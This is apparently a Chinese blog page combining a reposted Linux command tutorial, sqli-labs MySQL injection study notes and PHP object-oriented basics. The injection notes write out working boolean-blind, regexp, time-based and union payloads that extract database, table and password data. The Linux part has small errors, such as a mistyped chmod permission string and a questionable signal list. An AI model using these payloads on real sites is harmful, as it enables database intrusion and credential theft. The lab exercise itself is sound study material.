    该命令用于复制文件,copy之意,它还可以把多个文件一次性地复制到一个目录下,它的常用参数如下:

-a :将文件的特性一起复制
-p :连同文件的属性一起复制,而非使用默认方式,与-a相似,常用于备份
-i :若目标文件已经存在时,在覆盖时会先询问操作的进行
-r :递归持续复制,用于目录的复制行为
-u :目标文件与源文件有差异时才会复制
例如 :

cp -a file1 file2 #连同文件的所有特性把文件file1复制成文件file2
cp file1 file2 file3 dir #把文件file1、file2、file3复制到目录dir中

6、mv命令

该命令用于移动文件、目录或更名,move之意,它的常用参数如下:

-f :force强制的意思,如果目标文件已经存在,不会询问而直接覆盖
-i :若目标文件已经存在,就会询问是否覆盖
-u :若目标文件已经存在,且比目标文件新,才会更新
注:该命令可以把一个文件或多个文件一次移动一个文件夹中,但是最后一个目标文件一定要是“目录”。

例如:

mv file1 file2 file3 dir # 把文件file1、file2、file3移动到目录dir中
mv file1 file2 # 把文件file1重命名为file2

7、rm命令

该命令用于删除文件或目录,remove之间,它的常用参数如下:

-f :就是force的意思,忽略不存在的文件,不会出现警告消息
-i :互动模式,在删除前会询问用户是否操作
-r :递归删除,最常用于目录删除,它是一个非常危险的参数
例如:

rm -i file # 删除文件file,在删除之前会询问是否进行该操作
rm -fr dir # 强制删除目录dir中的所有文件

8、ps命令

该命令用于将某个时间点的进程运行情况选取下来并输出,process之意,它的常用参数如下:

-A :所有的进程均显示出来
-a :不与terminal有关的所有进程
-u :有效用户的相关进程
-x :一般与a参数一起使用,可列出较完整的信息
-l :较长,较详细地将PID的信息列出
其实我们只要记住ps一般使用的命令参数搭配即可,它们并不多,如下:

ps aux # 查看系统所有的进程数据
ps ax # 查看不与terminal有关的所有进程
ps -lA # 查看系统所有的进程数据
ps axjf # 查看连同一部分进程树状态

9、kill命令

该命令用于向某个工作(%jobnumber)或者是某个PID(数字)传送一个信号,它通常与ps和jobs命令一起使用,它的基本语法如下:
kill -signal PID
signal的常用参数如下:
注:最前面的数字为信号的代号,使用时可以用代号代替相应的信号。

1:SIGHUP,启动被终止的进程
2:SIGINT,相当于输入ctrl+c,中断一个程序的进行
9:SIGKILL,强制中断一个进程的进行
15:SIGTERM,以正常的结束进程方式来终止进程
17:SIGSTOP,相当于输入ctrl+z,暂停一个进程的进行
例如:

  • 以正常的结束进程方式来终于第一个后台工作,可用jobs命令查看后台中的第一个工作进程
    kill -SIGTERM %1
  • 重新改动进程ID为PID的进程,PID可用ps命令通过管道命令加上grep命令进行筛选获得
    kill -SIGHUP PID

    10、killall命令

    该命令用于向一个命令启动的进程发送一个信号,它的一般语法如下:
    killall [-iIe] [command name]
    它的参数如下:

-i :交互式的意思,若需要删除时,会询问用户
-e :表示后面接的command name要一致,但command name不能超过15个字符
-I :命令名称忽略大小写

  • 例如:
    killall -SIGHUP syslogd # 重新启动syslogd

    11、file命令

    该命令用于判断接在file命令后的文件的基本数据,因为在Linux下文件的类型并不是以后缀为分的,所以这个命令对我们来说就很有用了,它的用法非常简单,基本语法如下:

file filename
*例如:
file ./test

12、tar命令

该命令用于对文件进行打包,默认情况并不会压缩,如果指定了相应的参数,它还会调用相应的压缩程序(如gzip和bzip等)进行压缩和解压。它的常用参数如下:

-c :新建打包文件
-t :查看打包文件的内容含有哪些文件名
-x :解打包或解压缩的功能,可以搭配-C(大写)指定解压的目录,注意-c,-t,-x不能同时出现在同一条命令中
-j :通过bzip2的支持进行压缩/解压缩
-z :通过gzip的支持进行压缩/解压缩
-v :在压缩/解压缩过程中,将正在处理的文件名显示出来
-f filename :filename为要处理的文件
-C dir :指定压缩/解压缩的目录dir
上面的解说可以已经让你晕过去了,但是通常我们只需要记住下面三条命令即可:

压缩:tar -jcv -f filename.tar.bz2 要被处理的文件或目录名称
查询:tar -jtv -f filename.tar.bz2
解压:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
注:文件名并不定要以后缀tar.bz2结尾,这里主要是为了说明使用的压缩程序为bzip2

13、cat命令

该命令用于查看文本文件的内容,后接要查看的文件名,通常可用管道与more和less一起使用,从而可以一页页地查看数据。例如:

cat text | less # 查看text文件中的内容

  • 注:这条命令也可以使用less text来代替

    14、chgrp命令

    该命令用于改变文件所属用户组,它的使用非常简单,它的基本用法如下:

chgrp [-R] dirname/filename
-R :进行递归的持续对所有文件和子目录更改

  • 例如:
    chgrp users -R ./dir # 递归地把dir目录下中的所有文件和子目录下所有文件的用户组修改为users

    15、chown命令

    该命令用于改变文件的所有者,与chgrp命令的使用方法相同,只是修改的文件属性不同,不再详述。

16、chmod命令

该命令用于改变文件的权限,一般的用法如下:

chmod [-R] xyz 文件或目录
-R:进行递归的持续更改,即连同子目录下的所有文件都会更改
同时,chmod还可以使用u(user)、g(group)、o(other)、a(all)和+(加入)、-(删除)、=(设置)跟rwx搭配来对文件的权限进行更改。

  • 例如:
    chmod 0755 file # 把file的文件权限改变为-rxwr-xr-x
    chmod g+w file # 向file的文件权限中加入用户组可写权限

    18、vim命令

    该命令主要用于文本编辑,它接一个或多个文件名作为参数,如果文件存在就打开,如果文件不存在就以该文件名创建一个文件。vim是一个非常好用的文本编辑器,它里面有很多非常好用的命令,在这里不再多说。你可以从这里下载vim常用操作的详细说明。

19、gcc命令

对于一个用Linux开发C程序的人来说,这个命令就非常重要了,它用于把C语言的源程序文件,编译成可执行程序,由于g++的很多参数跟它非常相似,所以这里只介绍gcc的参数,它的常用参数如下:

-o :output之意,用于指定生成一个可执行文件的文件名
-c :用于把源文件生成目标文件(.o),并阻止编译器创建一个完整的程序
-I :增加编译时搜索头文件的路径
-L :增加编译时搜索静态连接库的路径
-S :把源文件生成汇编代码文件
-lm:表示标准库的目录中名为libm.a的函数库
-lpthread :连接NPTL实现的线程库
-std= :用于指定把使用的C语言的版本

  • 例如:
  • 把源文件test.c按照c99标准编译成可执行程序test
    gcc -o test test.c -lm -std=c99
    *把源文件test.c转换为相应的汇编程序源文件test.s
    gcc -S test.c

    20、time命令

该命令用于测算一个命令(即程序)的执行时间。它的使用非常简单,就像平时输入命令一样,不过在命令的前面加入一个time即可,例如:

time ./process
time ps aux
在程序或命令运行结束后,在最后输出了三个时间,它们分别是:
user:用户CPU时间,命令执行完成花费的用户CPU时间,即命令在用户态中执行时间总和;
system:系统CPU时间,命令执行完成花费的系统CPU时间,即命令在核心态中执行时间总和;
real:实际时间,从command命令行开始执行到运行终止的消逝时间;

注:用户CPU时间和系统CPU时间之和为CPU时间,即命令占用CPU执行的时间总和。实际时间要大于CPU时间,因为Linux是多任务操作系统,往往在执行一条命令时,系统还要处理其它任务。另一个需要注意的问题是即使每次执行相同命令,但所花费的时间也是不一样,其花费时间是与系统运行相关的。

作者:ljianhui
来源:CSDN
原文:https://blog.csdn.net/ljianhui/article/details/11100625/
版权声明:本文为博主原创文章,转载请附上博文链接!

mysql注入02及sqli-labs05

Posted on 2019-02-21 | In Mysql注入-sqlilabs

mysql注入之盲注
主要是我认为简单的一些基于布尔 SQL 盲注,同时将结合实际案例sqli-labs05

基于布尔 SQL 盲注———-构造逻辑判断

截取字符及ASCII转换

left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数

实践:

left()函数

ID:1’ and left(version(),1)=5–+

爆库

1.猜测数据库第一位
ID: 1’and left(database(),1)>’a’–+
Database()为 security,所以我们看他的第一位是否 >a,很明显的是 s>a,因此返回正确。当 我们不知情的情况下,可以用二分法来提高注入的效率。
2.猜测数据库第二位 得知第一位为 s,我们看前两位是否大于 sa
ID:1’and left(database(),2)>’sa’–+

爆表

  1. security库下的第一个表: email e=101 m=109
    ID:1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–+
  2. 下一个字符,只需将substr()函数下的第三个参数改为二
    ID:1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109–+
  3. 下一个表,只需将limit中的0,1 改为1,1 依此类推
    ID:1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114–+
    //此处 114 返回是正确的,因为第二个表示 referers表,所以第一位就是 r.

    爆列

    下一步:表中的列:(一个个查过去比较麻烦,可以用正则来判断表中是否有某个列,针对性较强)
    爆users表中的列
    ID:1’and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1,1))=117–+

    第一个字符为u 可以推测出第一个列为username

    爆数据

    爆username中的数据
    ID:1’and ascii(substr((select username from users limit 1,1),1,1))=65–+
    username中的第一行为A开头的用户名

regexp 正则注入

正则注入介绍:

http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:

select user() regexp ‘^[a-z]’;
Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。
第二位可以用 select user() regexp ‘^ro’来进行。
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=’security’ and table_name regexp ‘^us[a-z]’ limit 0,1);

实例:

1.爆表
查询库下是否有us开头的表名,
ID:1’and 1=(select 1 from information_schema.tables where table_schema=’security’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+

严格匹配库中是否有一个表名为users的表
ID:1’and 1=(select 1 from information_schema.tables where table_schema=’security’ and table_name regexp ‘^users$’ limit 0,1)–+

2.爆列
users表中是否一个username列
ID:1’and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^username’ limit 0,1)–+

users表中是否一个password列
ID:1’and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^password’ limit 0,1)–+

3.爆数据
username列中是否存在一个用户名为dummy:
ID:1’and 1=(select 1 from users where username regexp’^dummy’ limit 0,1)–+

like 匹配注入

和上述的正则类似,mysql 在匹配的时候我们可以用 ike 进行匹配。

用法:select user() like ‘ro%’

实例

ID:1’and 1=(select 1 from users where username like ‘dummy’ limit 0,1)–+


延时注入 利用 sleep()函数进行注入
http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
正确时:直接显示页面

错误时,执行sleep(5)

5秒延时后

Mysql 注入及sqli-labs 01

Posted on 2019-02-18 | Edited on 2019-02-19 | In Mysql注入-sqlilabs

注入步骤

一个数据库当中有很多的数据表,数据表当中有
很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数
据库名下的数据表,再获取当前数据表下的列,最后获取数据。

1:order by 猜测字段个数

2:爆显示位

根据获取到的字段数来爆显示位//(注意使用联合查询时让前面的查询为假)
例 union select 1,2,3…

3查询数据库版本和当前数据库

union联合查询(根据爆出的显示位在相应位置查询数据库版本和当前数据库)

之后利用information_schema数据库爆相关信息

4:爆表

select table_name from information_schema.tables where table_schema=’xxxxx’
根据爆出的数据库,爆出数据库下所有的表
例如:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security‘–+

5:爆列

Select column_name from information_schema.columns where table_name=’xxxxx’
根据爆出的表爆出所有列
例如:
Select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’

6:爆数据

获取某列的内容 Select *** from ***
例如
union select 1,group_concat(username),group_concat(password) from users–+

information_schema


Mysql 有一个系统数据库
information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库 select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ***

less-1

一开始用随便写了个 id=1,竟然就可以了。说明连验证密码都没有。

接着用order by语句测试

information_schema数据库


对于mysql和Infobright等数据库,information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:
• table_schema: 记录数据库名;
• table_name: 记录数据表名;
• engine : 存储引擎;
• table_rows: 关于表的粗略行估计;
• data_length : 记录表的大小(单位字节);
• index_length : 记录表的索引的大小;
• row_format: 可以查看数据表是否压缩过;

information_schema.tables信息;

  1. use information_schema;
  2. show create table tables;
  3. desc tables;

获取数据库和数据表信息

select TABLE_SCHEMA ,table_name from tables where table_schema like ‘mydatabase’;

Order by

在sql注入的作用:猜测字段数的作用
后面直接添加一个 ‘,来看一下效果:从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’。这种方式就是从错误信息中得到我们所需要的信息,

此处可以利用 order by。Order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4–+的结果显示结果超出。

从源代码中分析下为什么会造成注入? Sql 语句为$sql=”SELECT FROM users WHERE id=’$id’ LIMIT 0,1”; Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1–+,直接构 造的 sql 语句就是 SELECT FROM users WHERE id=’1’or 1=1–+ LIMIT 0,1 这条语句因 or 1=1 所以为永恒真。

union 联合注入

此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据

爆数据库

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata–+
此时的 sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema _name),3 from information_schema.schemata–+ LIMIT 0,1

爆 security 数据库的数据表

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27–+
此时的 sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’–+ LIMIT 0,1

爆 users 表的列

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27–+
此时的 sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column _name),3 from information_schema.columns where table_name=’users’–+ LIMIT 0,1

爆数据

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20 users%20where%20id=2–+
此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,username,password f rom users where id=2–+ LIMIT 0,1

此处我们选择表名和库名
?id=%27union%20select%20table_name,table_schema,20%20from%20information_schema.tables–+

发现调换顺序之后,显示的值不一样
?id=%27union%20select%2020,table_name,table_schema%20from%20information_schema.tables–+

进一步讨论原因,打开php文件探究:
修改PHP文件代码发现$row 是一个有六个元素的数组,其中id是第一个值,后面两个分别是username和passsword。他输出的是后面两个即username和passsword

PHP基础13-类与对象

Posted on 2019-02-17 | Edited on 2019-02-18 | In PHP基础
面向对象

引入例子 :女娲 人身蛇尾 , 用女娲造人引出类和实例 : 女娲造人前先 思考 人的形象 然后再造人
所以 :人的形象是抽象的,用来说明人的特点;而每一个人都是具体的,且符合人的形象

类 :所有对象共同点的一个抽象!(就是一个 制造说明书)
对象 :就是根据说明书制造出来的具体对象

类中有什么? 属性(比如人:身高,体重,姓名)
能干什么?功能(说活,吃饭)
用 变量 和 函数 分别模拟 属性 和 功能
面向对象中 ,方法即是函数 ; 属性即是变量 ,只是面相对象中一般说方法和属性

类的命名空间

不同PHP文件有同名的类,可以使用类的命名空间

如何创建对象

new 类名();//直接产生一个对象并返回该对象。也可以不加括号(new 类名:)
$a = new 类名(); //那么a对象就包含 类中声明的所有属性(类似关联数组)
成员属性
成员属性可以是基本数据类型(整数,小数,字符,布尔),也可以是复合数据类型(数组,对象)

调用

要调用对应的属性值可以 $a -> name (name不用$);要调用对应的方法 $a -> say()

语法

语法就是法律; 规范 就是 道德

  • (1)属性的初始化 不能是表达式 如 : $a = 1+3 ; java中是允许的
  • (2)同一个域内(比如一个类中),函数不能重复定义(即是名字不能一样)
  • (3)在一个类里面,如果要调用系统同名的自定义函数,需要用$this,否则调用系统函数 ; 此外一个类里面 一个函数调用 不是他内部的变量或者它调用其他函数也要加 $this

方法的参数形式和传递方式

方法的参数可以是基本数据类型、数组和类对象。
基本数据类型:值参传递
数组:值参传递
类对象:引用传递

类的构造方法

__construct() , 注意前面是两个下划线 ; 当new对象(产生对象),自动调用 ; 构造函数不能被重载即是不能再有同名的

例1:
class Person{
public $name;
public $sex;
public $age;
function __construct($name,$sex,$age){
echo “我是构造函数
“;
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
范例:2

因为构造函数有两个参数,且构造函数会自动调用,所以用new创建对象时,要给对象传入相应的参数。构造函数实现了将传进的参数赋值给类的属性,因此最终调用getnames()函数时会输出传入的名字。
//注意:

this绑定

当一个对象调用一个它对应类的方法时,该方法执行之前先完成一个绑定,即是用
$this绑定到调用此方法的对象(这样才能在方法内对这个对象的属性进行操纵),因为方法内如果想访问调用者(即是对象)的属性必须用$this;否则则理解为方法内部的一个局部变量

Java中不一样,函数不需要this也能访问方法外的变量

析构函数

当对象脱离其作用域时(例如对象所在的函数已调用完毕),系统自动执行析构函数。应在退出前在析构函数中用释放内存。
析构函数__destruct 析构函数没有任何参数

如何销毁对象 :

1、显式销毁,unset(),直接赋值为null或者其他值
2、执行完最后一行代码时自动销毁(如果之前已经销毁,则不再销毁)

对变量指向销毁问题

$a = new People(); //创建一个对象(new People()),并把使用权给变量$a($a是一个变量名,指向这个对象)
$a = $b = $c ; //3个变量都指向内存中的同一个对象

unset($a);//unset,即是销毁对象(object),但有其他变量$b等仍然指向对象,那么该对象将不能被销毁,但是$a为null不再指向这个对象

static

不需要创建实例对象,直接使用
一般当某个属性或者方法 是所有对象固有的(即是不改变),则声明为静态属性,节省内存,随时类名调用;无论函数调用多少次,只初始化第一次.,如 static $a = 1;
调用:
类名::变量名/方法 //类内部与类外部都可以访问的
self::变量名/方法 //只能类内部使用

self, parent的用法 (::(域运算符号))

self:指向类本身,也就是self是不指向任何已经实例化的对象 ,self使用来指向类中的静态属性或者方法
self::$staticProperty
self::staticMothed;

parent: 指向父类的指针,一般我们使用parent来调用父类的构造函数。

在引入自身的静态属性/静态方法,以及父类的方法时,可以用到.
parent::$staticProperty
parent::Mothed;

★应该选择this还是parent

访问权限

public 公共的(公共修饰符) 类内部与类外部都可以访问的
private 私有的(私有修饰符) 只能在类内部访问
protected 受保护的(保护成员修饰符) 子类可以访问 类外部不可以访问

1…456…9

lh

89 posts
12 categories
© 2020 lh
Powered by Hexo v3.8.0
|
Theme – NexT.Pisces v6.7.0